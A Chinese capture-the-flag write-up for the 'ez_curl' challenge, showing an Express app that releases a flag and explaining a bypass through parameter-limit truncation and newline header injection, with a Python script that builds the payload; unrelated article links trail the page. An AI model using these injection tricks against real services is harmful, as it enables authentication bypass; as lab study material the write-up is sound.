[CTF]攻防世界:ez_curl

题目:EZ_CURL

提示:php审计 noed.js

c 复制代码
app.js

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

req.query.admin.includes:要求在URL中admin字段的值不包含"false"子串(必须要有admin字段)

req.headers.admin.includes:要求在报文头部中admin字段的值包含"true"子串


步骤

1、绕过URL

在NodeJS中有以下知识点:express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。

当我们给params赋值的成员个数大于1000时,即可让$url中admin=false被截断。

2、绕过headers的判断

1、换行符截断

c 复制代码
{"headers": ["xx:xx\nadmin: true"]}

admin和true字符串都在第一个冒号后,而在NodeJS解析时,会解析得到admin的字段为true.

2、node.js解析

c 复制代码
{"headers": ["admin: x", " true: y"]}

admin和true是分开的两个数组,不会同时满足过滤条件,所以可以绕过PHP文件的判断。在正常解析过程中,在键名中是不允许存在空格的,但NodeJS在遇到这类情况时是宽容的,会将其解析成 admin:x true y

3、拿到flag

c 复制代码
import json

datas = {"headers":["xx:xx\nadmin:true"],
         "params":{"admin":"true"}}

for i in range(1002):
    datas["params"]["s"+str(i)] = i

json1 = json.dumps(datas)
print(json1)
相关推荐
limuyang23 小时前
PDF Viewer KMP(基于 chrome 的 PDFium 内核)
android·kotlin
心平气和量大福大7 小时前
android-控件-搜索框SearchView
android·gitee
2601_962177137 小时前
【MySQL篇】聚合查询,联合查询
android·java·mysql
壮哥_icon7 小时前
【Android】批量 VectorDrawable 动态分别修改 fillColor 和 strokeColor 的踩坑与终极解决方案
android
芯盾时代8 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
齐天qaq8 小时前
Android 系统 APK 分区与权限
android
心平气和量大福大8 小时前
android-控件-多选框CheckBox
android·gitee
pengyu10 小时前
【Kotlin 协程修仙录 · 大乘境 · 初阶】 | 跳出三界:协程在 KMP 与后端开发中的跨平台之道
android·kotlin
XiaoLeisj10 小时前
Android Memory Profiler:堆内存指标、内存抖动与泄漏定位
android·性能优化·内存抖动·内存泄露·memory profiler